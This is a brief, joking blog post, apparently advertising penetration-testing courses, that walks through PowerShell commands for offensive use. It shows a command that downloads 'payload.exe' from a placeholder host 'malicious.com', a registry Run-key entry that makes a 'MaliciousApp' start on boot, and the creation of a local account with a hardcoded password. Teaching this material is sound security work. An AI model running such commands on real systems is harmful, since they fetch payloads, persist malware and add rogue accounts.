Penetration Testing Puns: Harnessing PowerShell’s Power

Penetration Testing Puns: Harnessing PowerShell’s Power

Why use PowerShell? It’s not just a tool; it’s a digital Swiss Army knife!

Features: PowerShell offers an intuitive scripting environment with user-friendly cmdlets and commands.

Cmdlets and Command:

Forget complicated commands. PowerShell, we’ve got “cmdlets” – commands that are as easy to remember as your favorite TV Show.

Need a new local user account? Just type New-LocalUser.

New-LocalUser -Name TestUser -Password (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force)

You want to do some network reconnaissance!

netsh wlan show networks mode=Bssid

Say hello to wget!

PowerShell’s wget alias for the Invoke-WebRequest cmdlet facilitates seamless file transfer between systems, allowing testers to retrieve and trasfer data during penetration tests.

wget http://malicious.com/payload.exe -OutFile payload.exe

Delve into the murky depths of the Windows registry! (Yes same one when you click on Start–>Registry Editor)

PowerShell enables testers to manipulate Windows registry entries on target systems!

Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'MaliciousApp' -Value 'C:\MaliciousApp.exe'

Powersploit and PowerShell Empire:

These bad boys are like the Batman and Robin of the hacking world – only instead of fighting crime, they’re busy infiltrating networks and causing digital chaos. From privilege escalation to lateral movement, these tools have got you covered.

Want to try everything out!

Register for the below courses!

You can enroll for Red Teaming labs (Penetration testing).

You can enroll for Instructor Led Training!

You can enroll for On-Demand Ethical Hacking Course!

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